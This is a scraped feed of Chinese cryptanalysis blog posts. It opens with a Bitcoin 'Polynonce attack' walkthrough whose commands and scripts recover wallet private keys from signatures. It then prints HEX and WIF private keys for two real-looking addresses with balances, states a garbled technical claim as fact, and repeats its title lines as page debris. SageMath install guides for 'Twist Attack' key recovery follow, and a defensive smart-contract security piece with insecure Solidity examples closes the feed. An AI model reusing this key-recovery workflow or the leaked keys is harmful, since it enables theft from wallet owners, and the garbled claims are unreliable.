python3 crack_weak_ECDSA_nonces_with_LLL.py SignatureRSZ.csv 128 4 > PrivateKey.txt

cat PrivateKey.txt

POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰

讓我們打開文件: PrivateKey.txt

HEX 我們收到格式為比特幣錢包的私鑰 

POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰
PrivKey = 0xff0178fa717374f7e74d43f00150748967ea04b64241ec10a10f62debb70868c

檢查每個 ECDSA 簽名的 POLYNONCE

為此,請使用GITHUB中的代碼

POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰
https://github.com/demining/CryptoDeepTools/blob/main/20PolynonceAttack/example2/POLYNONCE.py

結果:

POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰

我們收到了四個相同的首字母128 bits

POLYNONCE >> 5220dae0c281e1115b4dd69ea3500f70 c5f6da6334586ed2bdc88a05f37bcf95
POLYNONCE >> 5220dae0c281e1115b4dd69ea3500f70 6f82fbd847c138ab48e778135e908149
POLYNONCE >> 5220dae0c281e1115b4dd69ea3500f70 5541022f8aeac81e5ce62e018d1cd722
POLYNONCE >> 5220dae0c281e1115b4dd69ea3500f70 80e88efaff419ecd84d7ded17dc548a7

感謝 Hal Finney的 secp256k1 曲線上的值  LAMBDA 和 BETA 向我們揭示了相同的初始位128 bits,因為比特幣錢包私鑰的初始位以Binary number (4 digits): "1111" // Hex number: "F" //


讓我們檢查一下私鑰的十六進制:

讓我們運行代碼:

from bitcoin import *

with open("PrivateKey.txt","r") as f:
    content = f.readlines()

content = [x.strip() for x in content]
f.close()


outfile = open("PrivateKeyAddr.txt","w")
for x in content:
  outfile.write(x+":"+pubtoaddr(encode_pubkey(privtopub(x), "bin_compressed"))+"\n")
 
outfile.close()

POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰

讓我們打開文件: PrivateKeyAddr.txt

POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰

讓我們打開 bitaddress 並檢查:

ADDR: 137a6fqt13bhtAkGZWrgcGM98NLCotszR2
WIF:  L5mQfFuzR3rzLtneJ7Tcv64JrHjCpK64UN4JRdGDxCUTbQ8NfHxo
HEX:  ff0178fa717374f7e74d43f00150748967ea04b64241ec10a10f62debb70868c
POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰

https://www.blockchain.com/en/explorer/addresses/btc/137a6fqt13bhtAkGZWrgcGM98NLCotszR2

POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰
POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰
POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰

BALANCE: $ 1133.73


讓我們看看其他例子:


3


考慮帶有比特幣地址的示例#3:

1HxrEeC2X8UEcSvsemPJtTqrnbAetGWYUt

POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰

fa80af660fc444d87853137506df02e5c75e8c2bf75dc44589b60356867a6d98

POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰

原始TX

POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰

01000000016eb80d35b08164302e49f88d8f86bf2827a91a5650149be38f4f73751ff41437060000006a473044022043d4c025a0f3be366a0d768c721b9b9191e0c3db6f2c6bfe34e8fb24af7f379102205a4fe2cc6944e00309c35619ff1242301b84d4728b863f97326f56dbd7a782220121027ccccf5f56ed78c2a761721ff3da0f76b792fbe4eae2ac73e7b4651bc3ef19cdffffffff01c057010000000000232103bec42e5d718b0e5b3853243c9bcf00dd671a335b0eb99fd8ca32f8d5784a9476ac00000000

讓我們從第二個示例中刪除文件:

!rm RawTX.txt
!rm NoncesHEX.txt
!rm PrivateKey.txt
!rm SignatureRSZ.csv
!rm PrivateKeyAddr.txt
POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰

通過實用程序加載 HEX數據 echo 並將其保存到文件:  RawTX.txt

!echo '01000000016eb80d35b08164302e49f88d8f86bf2827a91a5650149be38f4f73751ff41437060000006a473044022043d4c025a0f3be366a0d768c721b9b9191e0c3db6f2c6bfe34e8fb24af7f379102205a4fe2cc6944e00309c35619ff1242301b84d4728b863f97326f56dbd7a782220121027ccccf5f56ed78c2a761721ff3da0f76b792fbe4eae2ac73e7b4651bc3ef19cdffffffff01c057010000000000232103bec42e5d718b0e5b3853243c9bcf00dd671a335b0eb99fd8ca32f8d5784a9476ac00000000' > RawTX.txt
POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰

-tool polynonce_attack 使用軟件 啟動 “ATTACKSAFE SOFTWARE”


!./attacksafe -tool polynonce_attack -open RawTX.txt -save SignatureRSZ.csv
POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰

我們發起了這次攻擊 -tool polynonce_attack 並將結果保存到一個文件中 SignatureRSZ.csv

現在看到成功的結果,打開文件 SignatureRSZ.csv


POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰

讓我們運行 SageMath 命令:


!./sage -sh
POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰

要計算比特幣錢包的私鑰,請運行  指定參數的 腳本crack_weak_ECDSA_nonces_with_LLL.py128 bits 4 sign

python3 crack_weak_ECDSA_nonces_with_LLL.py SignatureRSZ.csv 128 4 > PrivateKey.txt

cat PrivateKey.txt

POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰

讓我們打開文件: PrivateKey.txt

HEX 我們收到格式為比特幣錢包的私鑰 

POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰
PrivKey = 0xfbc50a7158b3d9fd7fd58fe0874f20c10c650975dc118163debf442a44203fdf

檢查每個 ECDSA 簽名的 POLYNONCE

為此,請使用GITHUB中的代碼

POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰
https://github.com/demining/CryptoDeepTools/blob/main/20PolynonceAttack/example3/POLYNONCE.py

結果:

POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰

我們收到了四個相同的首字母128 bits

POLYNONCE >> d7460c5b1a98f6d0443ae1cfe1f17814 fbc50a7158b3d9fd7fd58fe0874f20c1
POLYNONCE >> d7460c5b1a98f6d0443ae1cfe1f17814 d4de8d539655ecf0d50fd32187c3c467
POLYNONCE >> d7460c5b1a98f6d0443ae1cfe1f17814 6726aea1a6fd64d82dc657670352de72
POLYNONCE >> d7460c5b1a98f6d0443ae1cfe1f17814 89df16fd387156b39adca9a92464de18

感謝 Hal Finney的 secp256k1 曲線上的值  LAMBDA 和 BETA 向我們揭示了相同的初始位128 bits,因為比特幣錢包私鑰的初始位以Binary number (4 digits): "1111" // Hex number: "F" //


讓我們檢查一下私鑰的十六進制:

讓我們運行代碼:

from bitcoin import *

with open("PrivateKey.txt","r") as f:
    content = f.readlines()

content = [x.strip() for x in content]
f.close()


outfile = open("PrivateKeyAddr.txt","w")
for x in content:
  outfile.write(x+":"+pubtoaddr(encode_pubkey(privtopub(x), "bin_compressed"))+"\n")
 
outfile.close()

POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰

讓我們打開文件: PrivateKeyAddr.txt

POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰

讓我們打開 bitaddress 並檢查:

ADDR: 1HxrEeC2X8UEcSvsemPJtTqrnbAetGWYUt
WIF:  L5f7p5bReuXLm3d7rFkpPyGQ1GNpiGuj8QuQ6rNCKXC9bs3J9GEY
HEX:  fbc50a7158b3d9fd7fd58fe0874f20c10c650975dc118163debf442a44203fdf
POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰

https://www.blockchain.com/en/explorer/addresses/btc/1HxrEeC2X8UEcSvsemPJtTqrnbAetGWYUt

POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰
POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰
POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰

BALANCE: $ 459.24


文學:

  • 針對 ECDSA 的新型相關 Nonce 攻擊,Marco Macchetti [Kudelski Security,瑞士] (2023)
  • Gallant、Robert P.、Robert J. Lambert 和 Scott A. Wanston。 “具有高效自同態的橢圓曲線上的更快點乘”  。年度國際密碼學會議,pp. 190–200。斯普林格,柏林,海德堡,(2001)
  • Hankerson、Darrell、Alfred J. Menezes 和 Scott Wanston。 “橢圓曲線密碼學指南”  。計算機評論 46,沒有。1 (2005)
  • 哈爾·芬尼。bitcointalk –   “加速簽名驗證”  。(2011)   https://bitcointalk.org/index.php?topic=3238.0
  • Blahut, Richard E.   “密碼學和安全通信”  。劍橋大學出版社,(2014)

來源

攻擊安全軟件

電報:https://t.me/cryptodeeptech

視頻:https://youtu.be/7nKs_KHtyn4

來源:https://cryptodeep.ru/polynonce-attack


POLYNONCE ATTACK使用BITCOIN簽名作為128位任意高次方的多項式來獲取私鑰

 密碼分析

]]>
在 Google Colab 中安裝 SageMath https://cn.cryptodeeptech.ru/install-sagemath-in-google-colab/ Thu, 11 May 2023 15:57:02 +0000 https://cn.cryptodeeptech.ru/?p=2150

在本文中,我們將SageMathGoogle Colab. 我們之前發表過一篇文章:“在 Fedora 64 位(10GB)雲虛擬服務器上安裝 SageMath 進行密碼分析”,但為了繼續對比特幣區塊鏈進行密碼分析,我們的許多讀者更喜歡Debian使用. 據我們所知,它已更新為.UbuntuFedoraGoogle Colab"Ubuntu 20.04.5 LTS"

我們可以通過運行命令來檢查這一點:

!cat /etc/lsb-release

在 Google Colab 中安裝 SageMath

因此"Ubuntu 20.04.5 LTS",該版本只允許我們安裝SageMath version 9.0, Release Date: 2020-01-01

使用標準安裝命令:

!sudo apt-get install -y sagemath-common
在 Google Colab 中安裝 SageMath

不幸的是這個版本不能正常工作。

為了進行完整的密碼分析,我們將安裝Google Colab一個全新的版本SageMath version 9.3

文件:Install_SageMath_in_Google_Colab.ipynb 我們發佈在GitHub

我們去官網看看: https: //colab.research.google.com

選擇選項“下載記事本”


在 Google Colab 中安裝 SageMath

下載文件:Install_SageMath_in_Google_Colab.ipynb


在 Google Colab 中安裝 SageMath

現在,通過該實用程序,wget 下載tar-filesage-9.3-Ubuntu_20.04-x86_64.tar.bz2

!wget https://cryptodeeptech.ru/sage-9.3-Ubuntu_20.04-x86_64.tar.bz2
!tar -xf sage-9.3-Ubuntu_20.04-x86_64.tar.bz2
在 Google Colab 中安裝 SageMath

讓我們瀏覽一下目錄:

cd SageMath/

在 Google Colab 中安裝 SageMath

打開面板並轉到文件夾:SageMath


在 Google Colab 中安裝 SageMath

檢查Python-script:relocate-once.py是否存在


在 Google Colab 中安裝 SageMath

使用以下命令運行Python-script:relocate-once.py :

!python3 relocate-once.py
在 Google Colab 中安裝 SageMath

一切準備就緒!

現在讓我們運行SageMath命令:

!./sage -sh
在 Google Colab 中安裝 SageMath

讓我們運行版本檢查命令:

sage -v
在 Google Colab 中安裝 SageMath

好的!

我們有一個新版本: SageMath version 9.3, Release Date: 2021-05-09


實現Twist Attack算法,下載  Python-script:discrete.py

wget https://raw.githubusercontent.com/demining/CryptoDeepTools/bbd83042e7405508cd2e646ad1b0819da0f9c58d/18TwistAttack/discrete.py

在 Google Colab 中安裝 SageMath

要求解離散對數, (Pollard's rho algorithm for logarithms) 請運行 Python-script:discrete.py

現在,要獲取私鑰,我們只需要運行命令:

python3 discrete.py
在 Google Colab 中安裝 SageMath

Sage Math 9.3 求解離散對數問題 (Pollard's rho algorithm for logarithms)


現在一切正常!

我們收到了十進制格式的比特幣錢包私鑰,然後我們需要按照專門針對 Twist 攻擊的文章的說明進行密碼分析


來源

電報:https://t.me/cryptodeeptech

視頻素材:https://youtu.be/DBu0UnVe0ig

來源:https://cryptodeep.ru/install-sagemath-in-google-colab


在 Google Colab 中安裝 SageMath

 密碼分析

]]>
在 Fedora 64bit(10GB) 雲虛擬服務器上安裝 SageMath 進行密碼分析 https://cn.cryptodeeptech.ru/install-sagemath-on-fedora/ Thu, 11 May 2023 15:49:41 +0000 https://cn.cryptodeeptech.ru/?p=2147

在本文中,我們將通過幻燈片詳細展示如何在Fedora 30 64 位 (10GB)雲虛擬服務器上安裝“SageMath” 。例如,我們將使用“DIGITAL RUBLE TECH”服務器。之前,我們使用Google Colab雲服務來安裝“SageMath”,但不幸的是,由於最近的更新,並非所有用於比特幣區塊鏈密碼分析的組件都能正常工作。

登記:

首先我們需要創建一個個人賬戶,我們將在網站上註冊: https: //digitalruble.tech/cloud


在 Fedora 64bit(10GB) 雲虛擬服務器上安裝 SageMath 進行密碼分析

選擇選項:個人

在 Fedora 64bit(10GB) 雲虛擬服務器上安裝 SageMath 進行密碼分析

讓我們啟動控制台

在 Fedora 64bit(10GB) 雲虛擬服務器上安裝 SageMath 進行密碼分析

轉到選項:彈性雲服務器

在 Fedora 64bit(10GB) 雲虛擬服務器上安裝 SageMath 進行密碼分析

創建彈性雲服務器

在 Fedora 64bit(10GB) 雲虛擬服務器上安裝 SageMath 進行密碼分析

我們選擇我們需要的參數:

在 Fedora 64bit(10GB) 雲虛擬服務器上安裝 SageMath 進行密碼分析

指定  Fedora 30 64bit(10GB)

在 Fedora 64bit(10GB) 雲虛擬服務器上安裝 SageMath 進行密碼分析

在 Fedora 64bit(10GB) 雲虛擬服務器上安裝 SageMath 進行密碼分析

選擇網絡所需的VPC

在 Fedora 64bit(10GB) 雲虛擬服務器上安裝 SageMath 進行密碼分析

設置並記住您自己的密碼

在 Fedora 64bit(10GB) 雲虛擬服務器上安裝 SageMath 進行密碼分析

保存配置

在 Fedora 64bit(10GB) 雲虛擬服務器上安裝 SageMath 進行密碼分析

雲虛擬服務器 Fedora 30 64bit(10GB) 創建成功!進入終端,點擊:遠程登錄

在 Fedora 64bit(10GB) 雲虛擬服務器上安裝 SageMath 進行密碼分析

為我們打開的終端安裝了雲虛擬服務器Fedora 30 64 位 (10GB) 

在 Fedora 64bit(10GB) 雲虛擬服務器上安裝 SageMath 進行密碼分析

在 Fedora 64bit(10GB) 雲虛擬服務器上安裝 SageMath 進行密碼分析

在 Fedora 64bit(10GB) 雲虛擬服務器上安裝 SageMath 進行密碼分析

檢查安裝,運行命令:

cat /etc/redhat-release
在 Fedora 64bit(10GB) 雲虛擬服務器上安裝 SageMath 進行密碼分析

讓我們更新我們的服務器,運行命令:

dnf check-update
在 Fedora 64bit(10GB) 雲虛擬服務器上安裝 SageMath 進行密碼分析

安裝Python 3,運行命令:

dnf install python3
在 Fedora 64bit(10GB) 雲虛擬服務器上安裝 SageMath 進行密碼分析

安裝SageMath ,運行命令:

dnf install sagemath
在 Fedora 64bit(10GB) 雲虛擬服務器上安裝 SageMath 進行密碼分析
在 Fedora 64bit(10GB) 雲虛擬服務器上安裝 SageMath 進行密碼分析
在 Fedora 64bit(10GB) 雲虛擬服務器上安裝 SageMath 進行密碼分析
在 Fedora 64bit(10GB) 雲虛擬服務器上安裝 SageMath 進行密碼分析
在 Fedora 64bit(10GB) 雲虛擬服務器上安裝 SageMath 進行密碼分析
在 Fedora 64bit(10GB) 雲虛擬服務器上安裝 SageMath 進行密碼分析
在 Fedora 64bit(10GB) 雲虛擬服務器上安裝 SageMath 進行密碼分析
在 Fedora 64bit(10GB) 雲虛擬服務器上安裝 SageMath 進行密碼分析

驗證SageMath安裝

sage -v
在 Fedora 64bit(10GB) 雲虛擬服務器上安裝 SageMath 進行密碼分析

 使用我們的 18TwistAttack存儲庫實施 Twist Attack算法

git clone https://github.com/demining/CryptoDeepTools.git

cd CryptoDeepTools/18TwistAttack/

ls
在 Fedora 64bit(10GB) 雲虛擬服務器上安裝 SageMath 進行密碼分析

要求解離散對數, (Pollard's rho algorithm for logarithms) 請運行 Python-script: discrete.py

運行命令:

sage -python3 discrete.py
在 Fedora 64bit(10GB) 雲虛擬服務器上安裝 SageMath 進行密碼分析

Sage Math完成離散對數問題 (Pollard's rho algorithm for logarithms)

現在一切正常!

我們收到了十進制格式的比特幣錢包私鑰,然後我們需要按照專門針對Twist 攻擊的文章的說明進行密碼分析


來源

數字盧布技術

電報:https://t.me/cryptodeeptech

視頻素材:https://youtu.be/xHnTDRgZwvE

來源:https://cryptodeep.ru/install-sagemath-on-fedora


在 Fedora 64bit(10GB) 雲虛擬服務器上安裝 SageMath 進行密碼分析

 密碼分析

]]>
從對智能合約的攻擊中提高生態系統的整體安全性 https://cn.cryptodeeptech.ru/improving-overall-security/ Thu, 16 Mar 2023 22:15:34 +0000 https://cn.cryptodeeptech.ru/?p=2126

前端運行 AKA 事務排序依賴

康考迪亞大學認為搶先交易是“一個實體受益於事先獲得有關即將進行的交易和交易的特權市場信息的行動過程。” 這種對市場未來事件的了解可能導致剝削。

例如,知道將要購買特定代幣的大量購買,不良行為者可以提前購買該代幣,並在超大買單價格上漲時出售該代幣以獲利。

搶先交易長期以來一直是金融市場的一個問題,由於區塊鏈的透明性,這個問題在加密貨幣市場再次出現。

由於此問題的解決方案因合同而異,因此很難防範。可能的解決方案包括批處理交易和使用預提交方案,即允許用戶稍後提交詳細信息。

PDF:SoK:透明的不誠實行為:對區塊鏈的搶先攻擊

跑在前面

由於所有交易在執行前都在內存池中可見一小段時間,因此網絡的觀察者可以在動作被包含在塊中之前看到並對其做出反應。如何利用這一點的一個例子是去中心化交易所,其中可以看到買單交易,並且可以在包含第一筆交易之前廣播和執行第二筆訂單。防止這種情況很困難,因為它會歸結為特定合同本身。

Front-running 最初是為傳統金融市場創造的,是一場為了贏家的利益而秩序混亂的競賽。在金融市場中,信息流催生了中介機構,它們可以通過最先了解某些信息並做出反應來簡單地獲利。這些攻擊主要發生在股票市場交易和早期的域名註冊處,例如 whois 網關。

領先(/ˌfrəntˈrəniNG/)

名詞:領先;

  1. 股票市場做市商在其客戶獲得信息之前根據其經紀人和投資分析師提供的預先信息進行交易的做法。

分類

通過定義 分類法 並將每個組與另一個區分開來,我們可以更輕鬆地討論問題並為每個組找到解決方案。

我們定義了以下類別的搶先交易攻擊

  1. 移位
  2. 插入
  3. 抑制

移位

在第一種攻擊中, 位移攻擊,   Alice(用戶)的函數調用在 Mallory(對手)運行她的函數之後運行並不重要。愛麗絲可以成為孤兒,也可以毫無意義地運行。位移的例子包括:

  • 愛麗絲嘗試註冊域名,馬洛里先註冊了;
  • Alice 試圖提交一個 bug 以獲得賞金,而 Mallory 竊取了它並首先提交了它;
  • 愛麗絲試圖在拍賣中出價,馬洛里抄襲。

這種攻擊通常是通過增加 gasPrice 高於網絡平均值的值來執行的,通常是 10 倍或更多。

插入

對於這種類型的攻擊,  對對手來說重要的是原始函數調用在她的事務之後運行。在插入攻擊中,在 Mallory 運行她的函數之後,合約的狀態發生了變化,她需要 Alice 的原始函數在這個修改後的狀態上運行。例如,如果 Alice 以高於最佳報價的價格購買區塊鏈資產,Mallory 將插入兩筆交易:她將以最佳報價購買,然後以 Alice 略高的購買價格出售相同資產. 如果 Alice 的交易隨後運行,Mallory 將在無需持有資產的情況下從差價中獲利。

與置換攻擊一樣,這通常是通過在天然氣價格拍賣中出價高於愛麗絲的交易來完成的。

事務順序依賴

交易順序依賴相當於智能合約中的競爭條件。例如,如果一個函數設置了獎勵百分比,而 withdraw 函數使用該百分比;然後撤回交易可以通過更改獎勵函數調用提前運行,這會影響最終撤回的金額。

參見 SWC-114

抑制

在抑制攻擊中,也稱為 塊填充 攻擊,在 Mallory 運行她的函數後,她試圖延遲 Alice 運行她的函數。

“Fomo3d”遊戲和其他一些鏈上黑客的第一個獲勝者就是這種情況。攻擊者向自定義智能合約發送多筆交易 gasPrice , gasLimit 這些交易斷言(或使用其他方式)消耗所有氣體並填滿區塊的 gasLimit.

變體

這些攻擊中的每一種都有兩個變體, 非對稱 和 批量

在某些情況下,Alice 和 Mallory 正在執行不同的操作。例如,Alice 正試圖取消一個提議,而 Mallory 正試圖先完成它。我們稱此 為不對稱位移。在其他情況下,馬洛里試圖運行大量功能:例如,愛麗絲和其他人試圖購買一家公司在區塊鏈上提供的一組有限的股票。我們稱此為 體積位移

緩解措施

搶先交易是以太坊等公共區塊鏈上普遍存在的問題。

最好的補救措施是 在您的應用程序中消除搶先交易的好處,主要是消除交易順序或時間的重要性。例如,在市場中,最好實施批量拍賣(這也可以防止高頻交易問題)。另一種方法是使用預提交方案(“我稍後會提交詳細信息”)。第三種選擇是通過指定交易的最大或最小可接受價格範圍來降低搶先交易的成本,從而限制價格下滑。

交易排序:  Go-Ethereum (Geth) 節點根據它們的 gasPrice 地址隨機數對交易進行排序。然而,這會導致網絡參與者之間的天然氣拍賣,以包含在當前正在開采的區塊中。

保密性: 另一種方法是限制交易的可見性,這可以使用“提交和披露”方案來完成。

一個簡單的實現是在第一筆交易中存儲數據的 keccak256 哈希值,然後在第二筆交易中顯示數據並根據哈希值對其進行驗證。但是請注意,交易本身會洩露抵押的意圖和可能的價值。有增強的提交和顯示方案更安全,但需要更多事務才能運行,例如


具有區塊氣體限制的 DoS

在以太坊區塊鏈中,區塊都有 gas limit。區塊 gas 限制的好處之一是它可以防止攻擊者創建無限交易循環,但如果交易的 gas 使用量超過此限制,則交易將失敗。這可能會以幾種不同的方式導致 DoS 攻擊。

無界操作

區塊 gas 限制可能成為問題的一種情況是將資金發送到一組地址。即使沒有任何惡意,這也很容易出錯。僅僅因為有太多的用戶需要支付,就會使 gas 限制達到最大值,並阻止交易成功。

這種情況也可能導致攻擊。假設一個不良行為者決定創建大量地址,每個地址都從智能合約中獲得少量資金。如果有效地完成,交易可以無限期地被阻止,甚至可能阻止進一步的交易通過。

解決這個問題的一個有效方法是在當前的推送支付系統上使用拉取支付系統。為此,將每筆付款分成自己的交易,並讓收款人調用該函數。

如果出於某種原因,你真的需要遍歷一個未指定長度的數組,至少期望它可能會佔用多個塊,並允許它在多個事務中執行——如本例所示:

struct Payee {
    address addr;
    uint256 value;
}

Payee[] payees;
uint256 nextPayeeIndex;

function payOut() {
    uint256 i = nextPayeeIndex;
    while (i < payees.length && msg.gas > 200000) {
      payees[i].addr.send(payees[i].value);
      i++;
    }
    nextPayeeIndex = i;
}

塊餡

在某些情況下,即使您不遍歷未指定長度的數組,您的合約也可能會受到區塊 gas 限制的攻擊。攻擊者可以在使用足夠高的汽油價格處理交易之前填充幾個區塊。

這種攻擊是通過以非常高的 gas 價格發出幾筆交易來完成的。如果 gas 價格足夠高,並且交易消耗足夠的 gas,它們可以填滿整個區塊並阻止其他交易被處理。

以太坊交易要求發送者支付 gas 以阻止垃圾郵件攻擊,但在某些情況下,可能有足夠的激勵來完成此類攻擊。例如,在賭博 Dapp Fomo3D 上使用了塊填充攻擊。該應用程序有一個倒計時計時器,用戶可以通過最後一個購買鑰匙來贏得大獎,但每次用戶購買鑰匙時,計時器都會延長。攻擊者買了一把鑰匙,然後填充接下來的 13 個塊和一行,這樣他們就可以贏得大獎。

防止發生此類攻擊,請務必仔細考慮在您的應用程序中加入基於時間的操作是否安全。

拒絕服務

具有(意外)還原的 DoS

考慮一個簡單的拍賣合約:

// INSECURE
contract Auction {
    address currentLeader;
    uint highestBid;

    function bid() payable {
        require(msg.value > highestBid);

        require(currentLeader.send(highestBid)); // Refund the old leader, if it fails then revert

        currentLeader = msg.sender;
        highestBid = msg.value;
    }
}

如果攻擊者使用具有回退功能的智能合約出價,則攻擊者可以贏得任何拍賣。當它嘗試向舊領導者退款時,如果退款失敗,它會恢復。這意味著惡意投標人可以成為領導者,同時確保向其地址的任何退款都將 始終 失敗。通過這種方式,他們可以防止其他任何人調用該 bid() 函數,並永遠保持領先地位。 如前所述,建議改用 拉式支付系統。

另一個例子是當一個合同可以通過一個數組迭代來支付用戶(例如,眾籌合同中的支持者)。想要確保每次付款都成功是很常見的。如果沒有,應該恢復。問題是,如果一個調用失敗,您將恢復整個支付系統,這意味著循環永遠不會完成。沒有人得到報酬,因為一個地址強制出錯。

address[] private refundAddresses;
mapping (address => uint) public refunds;

// bad
function refundAll() public {
    for(uint x; x < refundAddresses.length; x++) { // arbitrary length iteration based on how many addresses participated
        require(refundAddresses[x].send(refunds[refundAddresses[x]])) // doubly bad, now a single failure on send will hold up all funds
    }
}

同樣,推薦的解決方案是支持 pull over push payments

參見 SWC-113

具有區塊氣體限制的 DoS

每個區塊都有可以消耗的氣體量上限,因此可以進行計算量上限。這是區塊氣體限制。如果消耗的 gas 超過此限制,交易將失敗。這導致了幾個可能的拒絕服務向量:

通過無界操作對合約進行 Gas Limit DoS

您可能已經註意到前面示例的另一個問題:通過一次向所有人付款,您可能會遇到區塊 gas 限制。

即使沒有蓄意攻擊,這也可能導致問題。但是,如果攻擊者可以操縱所需的氣體量,那就尤其糟糕了。在前面的示例中,攻擊者可以添加一堆地址,每個地址都需要獲得非常小的退款。因此,退還每個攻擊者地址的 gas 成本最終可能會超過 gas 限制,從而阻止退款交易的發生。

這是 支持拉式付款而非推式付款的另一個原因。

如果您絕對必須遍歷一個未知大小的數組,那麼您應該計劃它可能會佔用多個塊,因此需要多個事務。您將需要跟踪您走了多遠,並能夠從該點繼續,如以下示例所示:

struct Payee {
    address addr;
    uint256 value;
}

Payee[] payees;
uint256 nextPayeeIndex;

function payOut() {
    uint256 i = nextPayeeIndex;
    while (i < payees.length && gasleft() > 200000) {
      payees[i].addr.send(payees[i].value);
      i++;
    }
    nextPayeeIndex = i;
}

如果在等待函數的下一次迭代時處理其他事務,您將需要確保不會發生任何不良情況 payOut() 。因此,僅在絕對必要時才使用此模式。

通過塊填充在網絡上進行 Gas 限制 DoS

即使您的合約不包含無限循環,攻擊者也可以通過以足夠高的 gas 價格放置計算密集型交易來防止其他交易被包含在區塊鏈中幾個區塊。

為此,攻擊者可以發出多個交易,這些交易將消耗整個 gas 限制,並在下一個區塊被開採時立即包含足夠高的 gas 價格。沒有 gas 價格可以保證包含在區塊中,但價格越高,機會就越大。

如果攻擊成功,則該塊中不會包含其他交易。有時,攻擊者的目標是在特定時間之前阻止對特定合約的交易。

此次攻擊  在一款賭博應用 Fomo3D 上進行的。該應用程序旨在獎勵最後一個購買“鑰匙”的地址。每次購買鑰匙都會延長計時器,一旦計時器變為 0,遊戲就會結束。攻擊者購買一把鑰匙,然後連續填充 13 個區塊,直到計時器被觸發並釋放支出。攻擊者發送的交易在每個區塊上消耗了 790 萬氣體,因此氣體限制允許一些小的“發送”交易(每個消耗 21,000 氣體),但不允許調用函數(消耗 300,000+ 氣體)  buyKey() 。

Block Stuffing 攻擊可用於任何需要在特定時間段內採取行動的合約。然而,與任何攻擊一樣,它只有在預期回報超過其成本時才有利可圖。這種攻擊的成本與需要填充的塊數成正比。如果通過阻止其他參與者的行動可以獲得大筆支出,那麼您的合約很可能會成為此類攻擊的目標。


具有(意外)還原的 DoS

當您嘗試向用戶發送資金並且該功能依賴於資金轉移成功時,功能中可能會發生 DoS(拒絕服務)攻擊。

如果資金被發送到由不良行為者創建的智能合約,這可能會出現問題,因為他們可以簡單地創建一個回退功能來恢復所有支付。

例如:

// INSECURE
contract Auction {
    address currentLeader;
    uint highestBid;

    function bid() payable {
        require(msg.value > highestBid);

        require(currentLeader.send(highestBid)); // Refund the old leader, if it fails then revert

        currentLeader = msg.sender;
        highestBid = msg.value;
    }
}

正如你在這個例子中看到的,如果攻擊者從一個具有回退功能的智能合約中出價,那麼他們將永遠無法退還,因此沒有人可以出更高的價。

如果沒有攻擊者在場,這也可能會出現問題。例如,您可能希望通過遍歷數組來向一組用戶付款,當然您會希望確保每個用戶都得到適當的付款。這裡的問題是,如果一次支付失敗,功能將被恢復,並且沒有人支付。

address[] private refundAddresses;
mapping (address => uint) public refunds;

// bad
function refundAll() public {
    for(uint x; x < refundAddresses.length; x++) { // arbitrary length iteration based on how many addresses participated
        require(refundAddresses[x].send(refunds[refundAddresses[x]])) // doubly bad, now a single failure on send will hold up all funds
    }
}

解決這個問題的一個有效方法是在當前的推送支付系統上使用拉取支付系統。為此,將每筆付款分成自己的交易,並讓收款人調用該函數。

contract auction {
    address highestBidder;
    uint highestBid;
    mapping(address => uint) refunds;

    function bid() payable external {
        require(msg.value >= highestBid);

        if (highestBidder != address(0)) {
            refunds[highestBidder] += highestBid; // record the refund that this user can claim
        }

        highestBidder = msg.sender;
        highestBid = msg.value;
    }

    function withdrawRefund() external {
        uint refund = refunds[msg.sender];
        refunds[msg.sender] = 0;
        (bool success, ) = msg.sender.call.value(refund)("");
        require(success);
    }
}

拒絕服務

具有(意外)還原的 DoS

考慮一個簡單的拍賣合約:

// INSECURE
contract Auction {
    address currentLeader;
    uint highestBid;

    function bid() payable {
        require(msg.value > highestBid);

        require(currentLeader.send(highestBid)); // Refund the old leader, if it fails then revert

        currentLeader = msg.sender;
        highestBid = msg.value;
    }
}

如果攻擊者使用具有回退功能的智能合約出價,則攻擊者可以贏得任何拍賣。當它嘗試向舊領導者退款時,如果退款失敗,它會恢復。這意味著惡意投標人可以成為領導者,同時確保向其地址的任何退款都將 始終 失敗。通過這種方式,他們可以防止其他任何人調用該 bid() 函數,並永遠保持領先地位。 如前所述,建議改用 拉式支付系統。

另一個例子是當一個合同可以通過一個數組迭代來支付用戶(例如,眾籌合同中的支持者)。想要確保每次付款都成功是很常見的。如果沒有,應該恢復。問題是,如果一個調用失敗,您將恢復整個支付系統,這意味著循環永遠不會完成。沒有人得到報酬,因為一個地址強制出錯。

